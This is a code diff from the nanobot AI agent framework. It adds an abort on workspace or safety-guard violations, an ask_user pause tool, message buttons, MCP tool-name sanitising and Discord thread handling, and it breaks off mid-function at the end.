return f"Error: {type(exc).__name__}: {exc}", event, None
|
||||
@@ -707,9 +809,20 @@ class AgentRunner:
|
||||
"status": "error",
|
||||
"detail": result.replace("\n", " ").strip()[:120],
|
||||
}
|
||||
|
||||
# check the outside workspace error and break loop
|
||||
if self._is_workspace_violation(result):
|
||||
logger.warning(
|
||||
"Tool {} blocked by workspace/safety guard; aborting turn: {}",
|
||||
tool_call.name,
|
||||
result.replace("\n", " ").strip()[:200],
|
||||
)
|
||||
event["detail"] = ("workspace_violation: "
|
||||
+ result.replace("\n", " ").strip())[:160]
|
||||
return result, event, RuntimeError(result)
|
||||
if spec.fail_on_tool_error:
|
||||
return result + _HINT, event, RuntimeError(result)
|
||||
return result + _HINT, event, None
|
||||
return result + hint, event, RuntimeError(result)
|
||||
return result + hint, event, None
|
||||
|
||||
detail = "" if result is None else str(result)
|
||||
detail = detail.replace("\n", " ").strip()
|
||||
@@ -719,6 +832,24 @@ class AgentRunner:
|
||||
detail = detail[:120] + "..."
|
||||
return result, {"name": tool_call.name, "status": "ok", "detail": detail}, None
|
||||
|
||||
# Markers identifying tool results that represent a workspace / safety boundary rejection.
|
||||
_WORKSPACE_BLOCK_MARKERS: tuple[str, ...] = (
|
||||
"blocked by safety guard",
|
||||
"outside the configured workspace",
|
||||
"outside allowed directory",
|
||||
"working_dir is outside",
|
||||
"working_dir could not be resolved",
|
||||
"path traversal detected",
|
||||
"path outside working dir",
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def _is_workspace_violation(cls, text: str) -> bool:
|
||||
if not text:
|
||||
return False
|
||||
lowered = text.lower()
|
||||
return any(marker in lowered for marker in cls._WORKSPACE_BLOCK_MARKERS)
|
||||
|
||||
async def _emit_checkpoint(
|
||||
self,
|
||||
spec: AgentRunSpec,
|
||||
@@ -984,4 +1115,3 @@ class AgentRunner:
|
||||
if current:
|
||||
batches.append(current)
|
||||
return batches
|
||||
|
||||
|
||||
@@ -96,6 +96,11 @@ class SubagentManager:
|
||||
self._task_statuses: dict[str, SubagentStatus] = {}
|
||||
self._session_tasks: dict[str, set[str]] = {} # session_key -> {task_id, ...}
|
||||
|
||||
def set_provider(self, provider: LLMProvider, model: str) -> None:
|
||||
self.provider = provider
|
||||
self.model = model
|
||||
self.runner.provider = provider
|
||||
|
||||
async def spawn(
|
||||
self,
|
||||
task: str,
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
"""Tool for pausing a turn until the user answers."""
|
||||
|
||||
import json
|
||||
from typing import Any
|
||||
|
||||
from nanobot.agent.tools.base import Tool, tool_parameters
|
||||
from nanobot.agent.tools.schema import ArraySchema, StringSchema, tool_parameters_schema
|
||||
|
||||
STRUCTURED_BUTTON_CHANNELS = frozenset({"telegram", "websocket"})
|
||||
|
||||
|
||||
class AskUserInterrupt(BaseException):
|
||||
"""Internal signal: the runner should stop and wait for user input."""
|
||||
|
||||
def __init__(self, question: str, options: list[str] | None = None) -> None:
|
||||
self.question = question
|
||||
self.options = [str(option) for option in (options or []) if str(option)]
|
||||
super().__init__(question)
|
||||
|
||||
|
||||
@tool_parameters(
|
||||
tool_parameters_schema(
|
||||
question=StringSchema(
|
||||
"The question to ask before continuing. Use this only when the task needs the user's answer."
|
||||
),
|
||||
options=ArraySchema(
|
||||
StringSchema("A possible answer label"),
|
||||
description="Optional choices. The user may still reply with free text.",
|
||||
),
|
||||
required=["question"],
|
||||
)
|
||||
)
|
||||
class AskUserTool(Tool):
|
||||
"""Ask the user a blocking question."""
|
||||
|
||||
@property
|
||||
def name(self) -> str:
|
||||
return "ask_user"
|
||||
|
||||
@property
|
||||
def description(self) -> str:
|
||||
return (
|
||||
"Pause and ask the user a question when their answer is required to continue. "
|
||||
"Use options for likely answers; the user's reply, typed or selected, is returned as the tool result. "
|
||||
"For non-blocking notifications or buttons, use the message tool instead."
|
||||
)
|
||||
|
||||
@property
|
||||
def exclusive(self) -> bool:
|
||||
return True
|
||||
|
||||
async def execute(self, question: str, options: list[str] | None = None, **_: Any) -> Any:
|
||||
raise AskUserInterrupt(question=question, options=options)
|
||||
|
||||
|
||||
def _tool_call_name(tool_call: dict[str, Any]) -> str:
|
||||
function = tool_call.get("function")
|
||||
if isinstance(function, dict) and isinstance(function.get("name"), str):
|
||||
return function["name"]
|
||||
name = tool_call.get("name")
|
||||
return name if isinstance(name, str) else ""
|
||||
|
||||
|
||||
def _tool_call_arguments(tool_call: dict[str, Any]) -> dict[str, Any]:
|
||||
function = tool_call.get("function")
|
||||
raw = function.get("arguments") if isinstance(function, dict) else tool_call.get("arguments")
|
||||
if isinstance(raw, dict):
|
||||
return raw
|
||||
if isinstance(raw, str):
|
||||
try:
|
||||
parsed = json.loads(raw)
|
||||
except json.JSONDecodeError:
|
||||
return {}
|
||||
return parsed if isinstance(parsed, dict) else {}
|
||||
return {}
|
||||
|
||||
|
||||
def pending_ask_user_id(history: list[dict[str, Any]]) -> str | None:
|
||||
pending: dict[str, str] = {}
|
||||
for message in history:
|
||||
if message.get("role") == "assistant":
|
||||
for tool_call in message.get("tool_calls") or []:
|
||||
if isinstance(tool_call, dict) and isinstance(tool_call.get("id"), str):
|
||||
pending[tool_call["id"]] = _tool_call_name(tool_call)
|
||||
elif message.get("role") == "tool":
|
||||
tool_call_id = message.get("tool_call_id")
|
||||
if isinstance(tool_call_id, str):
|
||||
pending.pop(tool_call_id, None)
|
||||
for tool_call_id, name in reversed(pending.items()):
|
||||
if name == "ask_user":
|
||||
return tool_call_id
|
||||
return None
|
||||
|
||||
|
||||
def ask_user_tool_result_messages(
|
||||
system_prompt: str,
|
||||
history: list[dict[str, Any]],
|
||||
tool_call_id: str,
|
||||
content: str,
|
||||
) -> list[dict[str, Any]]:
|
||||
return [
|
||||
{"role": "system", "content": system_prompt},
|
||||
*history,
|
||||
{
|
||||
"role": "tool",
|
||||
"tool_call_id": tool_call_id,
|
||||
"name": "ask_user",
|
||||
"content": content,
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def ask_user_options_from_messages(messages: list[dict[str, Any]]) -> list[str]:
|
||||
for message in reversed(messages):
|
||||
if message.get("role") != "assistant":
|
||||
continue
|
||||
for tool_call in reversed(message.get("tool_calls") or []):
|
||||
if not isinstance(tool_call, dict) or _tool_call_name(tool_call) != "ask_user":
|
||||
continue
|
||||
options = _tool_call_arguments(tool_call).get("options")
|
||||
if isinstance(options, list):
|
||||
return [str(option) for option in options if isinstance(option, str)]
|
||||
return []
|
||||
|
||||
|
||||
def ask_user_outbound(
|
||||
content: str | None,
|
||||
options: list[str],
|
||||
channel: str,
|
||||
) -> tuple[str | None, list[list[str]]]:
|
||||
if not options:
|
||||
return content, []
|
||||
if channel in STRUCTURED_BUTTON_CHANNELS:
|
||||
return content, [options]
|
||||
option_text = "\n".join(f"{index}. {option}" for index, option in enumerate(options, 1))
|
||||
return f"{content}\n\n{option_text}" if content else option_text, []
|
||||
@@ -60,12 +60,19 @@ class CronTool(Tool):
|
||||
self._default_timezone = default_timezone
|
||||
self._channel: ContextVar[str] = ContextVar("cron_channel", default="")
|
||||
self._chat_id: ContextVar[str] = ContextVar("cron_chat_id", default="")
|
||||
self._metadata: ContextVar[dict] = ContextVar("cron_metadata", default={})
|
||||
self._session_key: ContextVar[str] = ContextVar("cron_session_key", default="")
|
||||
self._in_cron_context: ContextVar[bool] = ContextVar("cron_in_context", default=False)
|
||||
|
||||
def set_context(self, channel: str, chat_id: str) -> None:
|
||||
def set_context(
|
||||
self, channel: str, chat_id: str,
|
||||
metadata: dict | None = None, session_key: str | None = None,
|
||||
) -> None:
|
||||
"""Set the current session context for delivery."""
|
||||
self._channel.set(channel)
|
||||
self._chat_id.set(chat_id)
|
||||
self._metadata.set(metadata or {})
|
||||
self._session_key.set(session_key or f"{channel}:{chat_id}")
|
||||
|
||||
def set_cron_context(self, active: bool):
|
||||
"""Mark whether the tool is executing inside a cron job callback."""
|
||||
@@ -199,6 +206,8 @@ class CronTool(Tool):
|
||||
channel=channel,
|
||||
to=chat_id,
|
||||
delete_after_run=delete_after,
|
||||
channel_meta=self._metadata.get(),
|
||||
session_key=self._session_key.get() or None,
|
||||
)
|
||||
return f"Created job '{job.name}' (id: {job.id})"
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
import asyncio
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
from contextlib import AsyncExitStack
|
||||
from typing import Any
|
||||
@@ -28,6 +29,15 @@ _TRANSIENT_EXC_NAMES: frozenset[str] = frozenset((
|
||||
|
||||
_WINDOWS_SHELL_LAUNCHERS: frozenset[str] = frozenset(("npx", "npm", "pnpm", "yarn", "bunx"))
|
||||
|
||||
# Characters allowed in tool names by model providers (Anthropic, OpenAI, etc.).
|
||||
# Replace anything outside [a-zA-Z0-9_-] with underscore and collapse runs.
|
||||
_SANITIZE_RE = re.compile(r"_+")
|
||||
|
||||
|
||||
def _sanitize_name(name: str) -> str:
|
||||
"""Sanitize an MCP-derived name for model API compatibility."""
|
||||
return _SANITIZE_RE.sub("_", re.sub(r"[^a-zA-Z0-9_-]", "_", name))
|
||||
|
||||
|
||||
def _is_transient(exc: BaseException) -> bool:
|
||||
"""Check if an exception looks like a transient connection error."""
|
||||
@@ -137,7 +147,7 @@ class MCPToolWrapper(Tool):
|
||||
def __init__(self, session, server_name: str, tool_def, tool_timeout: int = 30):
|
||||
self._session = session
|
||||
self._original_name = tool_def.name
|
||||
self._name = f"mcp_{server_name}_{tool_def.name}"
|
||||
self._name = _sanitize_name(f"mcp_{server_name}_{tool_def.name}")
|
||||
self._description = tool_def.description or tool_def.name
|
||||
raw_schema = tool_def.inputSchema or {"type": "object", "properties": {}}
|
||||
self._parameters = _normalize_schema_for_openai(raw_schema)
|
||||
@@ -221,7 +231,7 @@ class MCPResourceWrapper(Tool):
|
||||
def __init__(self, session, server_name: str, resource_def, resource_timeout: int = 30):
|
||||
self._session = session
|
||||
self._uri = resource_def.uri
|
||||
self._name = f"mcp_{server_name}_resource_{resource_def.name}"
|
||||
self._name = _sanitize_name(f"mcp_{server_name}_resource_{resource_def.name}")
|
||||
desc = resource_def.description or resource_def.name
|
||||
self._description = f"[MCP Resource] {desc}\nURI: {self._uri}"
|
||||
self._parameters: dict[str, Any] = {
|
||||
@@ -311,7 +321,7 @@ class MCPPromptWrapper(Tool):
|
||||
def __init__(self, session, server_name: str, prompt_def, prompt_timeout: int = 30):
|
||||
self._session = session
|
||||
self._prompt_name = prompt_def.name
|
||||
self._name = f"mcp_{server_name}_prompt_{prompt_def.name}"
|
||||
self._name = _sanitize_name(f"mcp_{server_name}_prompt_{prompt_def.name}")
|
||||
desc = prompt_def.description or prompt_def.name
|
||||
self._description = (
|
||||
f"[MCP Prompt] {desc}\n"
|
||||
@@ -514,9 +524,9 @@ async def connect_mcp_servers(
|
||||
registered_count = 0
|
||||
matched_enabled_tools: set[str] = set()
|
||||
available_raw_names = [tool_def.name for tool_def in tools.tools]
|
||||
available_wrapped_names = [f"mcp_{name}_{tool_def.name}" for tool_def in tools.tools]
|
||||
available_wrapped_names = [_sanitize_name(f"mcp_{name}_{tool_def.name}") for tool_def in tools.tools]
|
||||
for tool_def in tools.tools:
|
||||
wrapped_name = f"mcp_{name}_{tool_def.name}"
|
||||
wrapped_name = _sanitize_name(f"mcp_{name}_{tool_def.name}")
|
||||
if (
|
||||
not allow_all_tools
|
||||
and tool_def.name not in enabled_tools
|
||||
|
||||
@@ -1,11 +1,14 @@
|
||||
"""Message tool for sending messages to users."""
|
||||
|
||||
import os
|
||||
from contextvars import ContextVar
|
||||
from pathlib import Path
|
||||
from typing import Any, Awaitable, Callable
|
||||
|
||||
from nanobot.agent.tools.base import Tool, tool_parameters
|
||||
from nanobot.agent.tools.schema import ArraySchema, StringSchema, tool_parameters_schema
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.config.paths import get_workspace_path
|
||||
|
||||
|
||||
@tool_parameters(
|
||||
@@ -15,7 +18,11 @@ from nanobot.bus.events import OutboundMessage
|
||||
chat_id=StringSchema("Optional: target chat/user ID"),
|
||||
media=ArraySchema(
|
||||
StringSchema(""),
|
||||
description="Optional: list of file paths to attach (images, audio, documents)",
|
||||
description="Optional: list of file paths to attach (images, video, audio, documents)",
|
||||
),
|
||||
buttons=ArraySchema(
|
||||
ArraySchema(StringSchema("Button label")),
|
||||
description="Optional: inline keyboard buttons as list of rows, each row is list of button labels.",
|
||||
),
|
||||
required=["content"],
|
||||
)
|
||||
@@ -29,21 +36,38 @@ class MessageTool(Tool):
|
||||
default_channel: str = "",
|
||||
default_chat_id: str = "",
|
||||
default_message_id: str | None = None,
|
||||
workspace: str | Path | None = None,
|
||||
):
|
||||
self._send_callback = send_callback
|
||||
self._workspace = Path(workspace).expanduser() if workspace is not None else get_workspace_path()
|
||||
self._default_channel: ContextVar[str] = ContextVar("message_default_channel", default=default_channel)
|
||||
self._default_chat_id: ContextVar[str] = ContextVar("message_default_chat_id", default=default_chat_id)
|
||||
self._default_message_id: ContextVar[str | None] = ContextVar(
|
||||
"message_default_message_id",
|
||||
default=default_message_id,
|
||||
)
|
||||
self._default_metadata: ContextVar[dict[str, Any]] = ContextVar(
|
||||
"message_default_metadata",
|
||||
default={},
|
||||
)
|
||||
self._sent_in_turn_var: ContextVar[bool] = ContextVar("message_sent_in_turn", default=False)
|
||||
self._record_channel_delivery_var: ContextVar[bool] = ContextVar(
|
||||
"message_record_channel_delivery",
|
||||
default=False,
|
||||
)
|
||||
|
||||
def set_context(self, channel: str, chat_id: str, message_id: str | None = None) -> None:
|
||||
def set_context(
|
||||
self,
|
||||
channel: str,
|
||||
chat_id: str,
|
||||
message_id: str | None = None,
|
||||
metadata: dict[str, Any] | None = None,
|
||||
) -> None:
|
||||
"""Set the current message context."""
|
||||
self._default_channel.set(channel)
|
||||
self._default_chat_id.set(chat_id)
|
||||
self._default_message_id.set(message_id)
|
||||
self._default_metadata.set(metadata or {})
|
||||
|
||||
def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None:
|
||||
"""Set the callback for sending messages."""
|
||||
@@ -53,6 +77,14 @@ class MessageTool(Tool):
|
||||
"""Reset per-turn send tracking."""
|
||||
self._sent_in_turn = False
|
||||
|
||||
def set_record_channel_delivery(self, active: bool):
|
||||
"""Mark tool-sent messages as proactive channel deliveries."""
|
||||
return self._record_channel_delivery_var.set(active)
|
||||
|
||||
def reset_record_channel_delivery(self, token) -> None:
|
||||
"""Restore previous proactive delivery recording state."""
|
||||
self._record_channel_delivery_var.reset(token)
|
||||
|
||||
@property
|
||||
def _sent_in_turn(self) -> bool:
|
||||
return self._sent_in_turn_var.get()
|
||||
@@ -81,14 +113,20 @@ class MessageTool(Tool):
|
||||
chat_id: str | None = None,
|
||||
message_id: str | None = None,
|
||||
media: list[str] | None = None,
|
||||
buttons: list[list[str]] | None = None,
|
||||
**kwargs: Any
|
||||
) -> str:
|
||||
from nanobot.utils.helpers import strip_think
|
||||
content = strip_think(content)
|
||||
|
||||
if buttons is not None:
|
||||
if not isinstance(buttons, list) or any(
|
||||
not isinstance(row, list) or any(not isinstance(label, str) for label in row)
|
||||
for row in buttons
|
||||
):
|
||||
return "Error: buttons must be a list of list of strings"
|
||||
default_channel = self._default_channel.get()
|
||||
default_chat_id = self._default_chat_id.get()
|
||||
|
||||
channel = channel or default_channel
|
||||
chat_id = chat_id or default_chat_id
|
||||
# Only inherit default message_id when targeting the same channel+chat.
|
||||
@@ -96,7 +134,8 @@ class MessageTool(Tool):
|
||||
# some channels (e.g. Feishu) use it to determine the target
|
||||
# conversation via their Reply API, which would route the message
|
||||
# to the wrong chat entirely.
|
||||
if channel == default_channel and chat_id == default_chat_id:
|
||||
same_target = channel == default_channel and chat_id == default_chat_id
|
||||
if same_target:
|
||||
message_id = message_id or self._default_message_id.get()
|
||||
else:
|
||||
message_id = None
|
||||
@@ -107,14 +146,28 @@ class MessageTool(Tool):
|
||||
if not self._send_callback:
|
||||
return "Error: Message sending not configured"
|
||||
|
||||
if media:
|
||||
resolved = []
|
||||
for p in media:
|
||||
if p.startswith(("http://", "https://")) or os.path.isabs(p):
|
||||
resolved.append(p)
|
||||
else:
|
||||
resolved.append(str(self._workspace / p))
|
||||
media = resolved
|
||||
|
||||
metadata = dict(self._default_metadata.get()) if same_target else {}
|
||||
if message_id:
|
||||
metadata["message_id"] = message_id
|
||||
if self._record_channel_delivery_var.get():
|
||||
metadata["_record_channel_delivery"] = True
|
||||
|
||||
msg = OutboundMessage(
|
||||
channel=channel,
|
||||
chat_id=chat_id,
|
||||
content=content,
|
||||
media=media or [],
|
||||
metadata={
|
||||
"message_id": message_id,
|
||||
} if message_id else {},
|
||||
buttons=buttons or [],
|
||||
metadata=metadata,
|
||||
)
|
||||
|
||||
try:
|
||||
@@ -122,6 +175,7 @@ class MessageTool(Tool):
|
||||
if channel == default_channel and chat_id == default_chat_id:
|
||||
self._sent_in_turn = True
|
||||
media_info = f" with {len(media)} attachments" if media else ""
|
||||
return f"Message sent to {channel}:{chat_id}{media_info}"
|
||||
button_info = f" with {sum(len(row) for row in buttons)} button(s)" if buttons else ""
|
||||
return f"Message sent to {channel}:{chat_id}{media_info}{button_info}"
|
||||
except Exception as e:
|
||||
return f"Error sending message: {str(e)}"
|
||||
|
||||
@@ -136,9 +136,10 @@ class ExecTool(Tool):
|
||||
|
||||
if self.path_append:
|
||||
if _IS_WINDOWS:
|
||||
env["PATH"] = env.get("PATH", "") + ";" + self.path_append
|
||||
env["PATH"] = env.get("PATH", "") + os.pathsep + self.path_append
|
||||
else:
|
||||
command = f'export PATH="$PATH:{self.path_append}"; {command}'
|
||||
env["NANOBOT_PATH_APPEND"] = self.path_append
|
||||
command = f'export PATH="$PATH{os.pathsep}$NANOBOT_PATH_APPEND"; {command}'
|
||||
|
||||
try:
|
||||
process = await self._spawn(command, cwd, env)
|
||||
@@ -298,8 +299,8 @@ class ExecTool(Tool):
|
||||
continue
|
||||
|
||||
media_path = get_media_dir().resolve()
|
||||
if (p.is_absolute()
|
||||
and cwd_path not in p.parents
|
||||
if (p.is_absolute()
|
||||
and cwd_path not in p.parents
|
||||
and p != cwd_path
|
||||
and media_path not in p.parents
|
||||
and p != media_path
|
||||
|
||||
+12
-29
@@ -7,13 +7,9 @@ All requests route to a single persistent API session.
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import base64
|
||||
import json as _json
|
||||
import mimetypes
|
||||
import re
|
||||
import time
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
from aiohttp import web
|
||||
@@ -21,14 +17,20 @@ from loguru import logger
|
||||
|
||||
from nanobot.config.paths import get_media_dir
|
||||
from nanobot.utils.helpers import safe_filename
|
||||
from nanobot.utils.media_decode import (
|
||||
FileSizeExceeded as _FileSizeExceeded,
|
||||
MAX_FILE_SIZE,
|
||||
save_base64_data_url as _save_base64_data_url,
|
||||
)
|
||||
from nanobot.utils.runtime import EMPTY_FINAL_RESPONSE_MESSAGE
|
||||
|
||||
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10 MB
|
||||
_DATA_URL_RE = re.compile(r"^data:([^;]+);base64,(.+)$", re.DOTALL)
|
||||
|
||||
|
||||
class _FileSizeExceeded(Exception):
|
||||
"""Raised when an uploaded file exceeds the size limit."""
|
||||
__all__ = (
|
||||
"MAX_FILE_SIZE",
|
||||
"_FileSizeExceeded",
|
||||
"_save_base64_data_url",
|
||||
"create_app",
|
||||
"handle_chat_completions",
|
||||
)
|
||||
|
||||
|
||||
API_SESSION_KEY = "api:default"
|
||||
@@ -102,25 +104,6 @@ _SSE_DONE = b"data: [DONE]\n\n"
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _save_base64_data_url(data_url: str, media_dir: Path) -> str | None:
|
||||
"""Decode a data:...;base64,... URL and save to disk."""
|
||||
m = _DATA_URL_RE.match(data_url)
|
||||
if not m:
|
||||
return None
|
||||
mime_type, b64_payload = m.group(1), m.group(2)
|
||||
try:
|
||||
raw = base64.b64decode(b64_payload)
|
||||
except Exception:
|
||||
return None
|
||||
if len(raw) > MAX_FILE_SIZE:
|
||||
raise _FileSizeExceeded(f"File exceeds {MAX_FILE_SIZE // (1024 * 1024)}MB limit")
|
||||
ext = mimetypes.guess_extension(mime_type) or ".bin"
|
||||
filename = f"{uuid.uuid4().hex[:12]}{ext}"
|
||||
dest = media_dir / safe_filename(filename)
|
||||
dest.write_bytes(raw)
|
||||
return str(dest)
|
||||
|
||||
|
||||
def _parse_json_content(body: dict) -> tuple[str, list[str]]:
|
||||
"""Parse JSON request body. Returns (text, media_paths)."""
|
||||
messages = body.get("messages")
|
||||
|
||||
@@ -34,5 +34,5 @@ class OutboundMessage:
|
||||
reply_to: str | None = None
|
||||
media: list[str] = field(default_factory=list)
|
||||
metadata: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
buttons: list[list[str]] = field(default_factory=list)
|
||||
|
||||
|
||||
+134
-8
@@ -95,6 +95,15 @@ if DISCORD_AVAILABLE:
|
||||
async def on_message(self, message: discord.Message) -> None:
|
||||
await self._channel._handle_discord_message(message)
|
||||
|
||||
async def on_thread_delete(self, thread: discord.Thread) -> None:
|
||||
self._channel._forget_channel(thread)
|
||||
|
||||
async def on_thread_update(self, before: discord.Thread, after: discord.Thread) -> None:
|
||||
if getattr(after, "archived", False):
|
||||
self._channel._forget_channel(after)
|
||||
else:
|
||||
self._channel._remember_channel(after)
|
||||
|
||||
async def _reply_ephemeral(self, interaction: discord.Interaction, text: str) -> bool:
|
||||
"""Send an ephemeral interaction response and report success."""
|
||||
try:
|
||||
@@ -104,6 +113,37 @@ if DISCORD_AVAILABLE:
|
||||
logger.warning("Discord interaction response failed: {}", e)
|
||||
return False
|
||||
|
||||
async def _resolve_interaction_channel(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
) -> Any | None:
|
||||
channel_id = interaction.channel_id
|
||||
if channel_id is None:
|
||||
return None
|
||||
channel = getattr(interaction, "channel", None) or self.get_channel(channel_id)
|
||||
if channel is None:
|
||||
try:
|
||||
channel = await self.fetch_channel(channel_id)
|
||||
except Exception as e:
|
||||
logger.warning("Discord interaction channel {} unavailable: {}", channel_id, e)
|
||||
return None
|
||||
self._channel._remember_channel(channel)
|
||||
return channel
|
||||
|
||||
async def _interaction_channel_allowed(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
channel: Any | None,
|
||||
) -> bool:
|
||||
allow_channels = self._channel.config.allow_channels
|
||||
if not allow_channels:
|
||||
return True
|
||||
if channel is None:
|
||||
channel_id = interaction.channel_id
|
||||
return channel_id is not None and str(channel_id) in allow_channels
|
||||
channel_ids = self._channel._channel_allow_keys(channel)
|
||||
return not channel_ids.isdisjoint(allow_channels)
|
||||
|
||||
async def _forward_slash_command(
|
||||
self,
|
||||
interaction: discord.Interaction,
|
||||
@@ -120,17 +160,33 @@ if DISCORD_AVAILABLE:
|
||||
await self._reply_ephemeral(interaction, "You are not allowed to use this bot.")
|
||||
return
|
||||
|
||||
channel = await self._resolve_interaction_channel(interaction)
|
||||
if not await self._interaction_channel_allowed(interaction, channel):
|
||||
await self._reply_ephemeral(interaction, "This channel is not allowed for this bot.")
|
||||
return
|
||||
|
||||
await self._reply_ephemeral(interaction, f"Processing {command_text}...")
|
||||
|
||||
metadata: dict[str, Any] = {
|
||||
"interaction_id": str(interaction.id),
|
||||
"guild_id": str(interaction.guild_id) if interaction.guild_id else None,
|
||||
"is_slash_command": True,
|
||||
}
|
||||
session_key = None
|
||||
if channel is not None:
|
||||
parent_channel_id = self._channel._channel_parent_key(channel)
|
||||
if parent_channel_id is not None:
|
||||
metadata["parent_channel_id"] = parent_channel_id
|
||||
metadata["context_chat_id"] = parent_channel_id
|
||||
metadata["thread_id"] = str(channel_id)
|
||||
session_key = f"{self._channel.name}:{parent_channel_id}:thread:{channel_id}"
|
||||
|
||||
await self._channel._handle_message(
|
||||
sender_id=sender_id,
|
||||
chat_id=str(channel_id),
|
||||
content=command_text,
|
||||
metadata={
|
||||
"interaction_id": str(interaction.id),
|
||||
"guild_id": str(interaction.guild_id) if interaction.guild_id else None,
|
||||
"is_slash_command": True,
|
||||
},
|
||||
metadata=metadata,
|
||||
session_key=session_key,
|
||||
)
|
||||
|
||||
def _register_app_commands(self) -> None:
|
||||
@@ -139,6 +195,7 @@ if DISCORD_AVAILABLE:
|
||||
("stop", "Stop the current task", "/stop"),
|
||||
("restart", "Restart the bot", "/restart"),
|
||||
("status", "Show bot status", "/status"),
|
||||
("history", "Show recent conversation messages", "/history"),
|
||||
)
|
||||
|
||||
for name, description, command_text in commands:
|
||||
@@ -156,6 +213,10 @@ if DISCORD_AVAILABLE:
|
||||
if not self._channel.is_allowed(sender_id):
|
||||
await self._reply_ephemeral(interaction, "You are not allowed to use this bot.")
|
||||
return
|
||||
channel = await self._resolve_interaction_channel(interaction)
|
||||
if not await self._interaction_channel_allowed(interaction, channel):
|
||||
await self._reply_ephemeral(interaction, "This channel is not allowed for this bot.")
|
||||
return
|
||||
await self._reply_ephemeral(interaction, build_help_text())
|
||||
|
||||
@self.tree.error
|
||||
@@ -176,7 +237,7 @@ if DISCORD_AVAILABLE:
|
||||
"""Send a nanobot outbound message using Discord transport rules."""
|
||||
channel_id = int(msg.chat_id)
|
||||
|
||||
channel = self.get_channel(channel_id)
|
||||
channel = self._channel._known_channels.get(msg.chat_id) or self.get_channel(channel_id)
|
||||
if channel is None:
|
||||
try:
|
||||
channel = await self.fetch_channel(channel_id)
|
||||
@@ -282,6 +343,25 @@ class DiscordChannel(BaseChannel):
|
||||
channel_id = getattr(channel_or_id, "id", channel_or_id)
|
||||
return str(channel_id)
|
||||
|
||||
@classmethod
|
||||
def _channel_allow_keys(cls, channel: Any) -> set[str]:
|
||||
"""Return channel IDs that can satisfy allow_channels for this channel."""
|
||||
keys = {cls._channel_key(channel)}
|
||||
if parent_key := cls._channel_parent_key(channel):
|
||||
keys.add(parent_key)
|
||||
return keys
|
||||
|
||||
@classmethod
|
||||
def _channel_parent_key(cls, channel: Any) -> str | None:
|
||||
"""Return the parent channel key for a Discord thread-like channel."""
|
||||
parent_id = getattr(channel, "parent_id", None)
|
||||
if parent_id is not None:
|
||||
return cls._channel_key(parent_id)
|
||||
parent = getattr(channel, "parent", None)
|
||||
if parent is not None:
|
||||
return cls._channel_key(parent)
|
||||
return None
|
||||
|
||||
def __init__(self, config: Any, bus: MessageBus):
|
||||
if isinstance(config, dict):
|
||||
config = DiscordConfig.model_validate(config)
|
||||
@@ -293,6 +373,13 @@ class DiscordChannel(BaseChannel):
|
||||
self._pending_reactions: dict[str, Any] = {} # chat_id -> message object
|
||||
self._working_emoji_tasks: dict[str, asyncio.Task[None]] = {}
|
||||
self._stream_bufs: dict[str, _StreamBuf] = {}
|
||||
self._known_channels: dict[str, Any] = {}
|
||||
|
||||
def _remember_channel(self, channel: Any) -> None:
|
||||
self._known_channels[self._channel_key(channel)] = channel
|
||||
|
||||
def _forget_channel(self, channel_or_id: Any) -> None:
|
||||
self._known_channels.pop(self._channel_key(channel_or_id), None)
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Start the Discord client."""
|
||||
@@ -443,9 +530,12 @@ class DiscordChannel(BaseChannel):
|
||||
"""
|
||||
if self._bot_user_id is not None and str(message.author.id) == self._bot_user_id:
|
||||
return
|
||||
if self._is_system_message(message):
|
||||
return
|
||||
|
||||
sender_id = str(message.author.id)
|
||||
channel_id = self._channel_key(message.channel)
|
||||
self._remember_channel(message.channel)
|
||||
content = message.content or ""
|
||||
|
||||
if not self._should_accept_inbound(message, sender_id, content):
|
||||
@@ -454,6 +544,13 @@ class DiscordChannel(BaseChannel):
|
||||
media_paths, attachment_markers = await self._download_attachments(message.attachments)
|
||||
full_content = self._compose_inbound_content(content, attachment_markers)
|
||||
metadata = self._build_inbound_metadata(message)
|
||||
parent_channel_id = self._channel_parent_key(message.channel)
|
||||
session_key = None
|
||||
if parent_channel_id is not None:
|
||||
metadata["parent_channel_id"] = parent_channel_id
|
||||
metadata["context_chat_id"] = parent_channel_id
|
||||
metadata["thread_id"] = channel_id
|
||||
session_key = f"{self.name}:{parent_channel_id}:thread:{channel_id}"
|
||||
|
||||
await self._start_typing(message.channel)
|
||||
|
||||
@@ -481,6 +578,7 @@ class DiscordChannel(BaseChannel):
|
||||
content=full_content,
|
||||
media=media_paths,
|
||||
metadata=metadata,
|
||||
session_key=session_key,
|
||||
)
|
||||
except Exception:
|
||||
await self._clear_reactions(channel_id)
|
||||
@@ -496,6 +594,9 @@ class DiscordChannel(BaseChannel):
|
||||
client = self._client
|
||||
if client is None or not client.is_ready():
|
||||
return None
|
||||
channel = self._known_channels.get(chat_id)
|
||||
if channel is not None:
|
||||
return channel
|
||||
channel_id = int(chat_id)
|
||||
channel = client.get_channel(channel_id)
|
||||
if channel is not None:
|
||||
@@ -544,8 +645,8 @@ class DiscordChannel(BaseChannel):
|
||||
# Channel-based filtering: only respond in allowed channels
|
||||
allow_channels = self.config.allow_channels
|
||||
if allow_channels:
|
||||
channel_id = self._channel_key(message.channel)
|
||||
if channel_id not in allow_channels:
|
||||
channel_ids = self._channel_allow_keys(message.channel)
|
||||
if channel_ids.isdisjoint(allow_channels):
|
||||
return False
|
||||
if message.guild is not None and not self._should_respond_in_group(message, content):
|
||||
return False
|
||||
@@ -585,6 +686,12 @@ class DiscordChannel(BaseChannel):
|
||||
content_parts.extend(attachment_markers)
|
||||
return "\n".join(part for part in content_parts if part) or "[empty message]"
|
||||
|
||||
@staticmethod
|
||||
def _is_system_message(message: discord.Message) -> bool:
|
||||
"""Return True for Discord system messages that carry no user prompt."""
|
||||
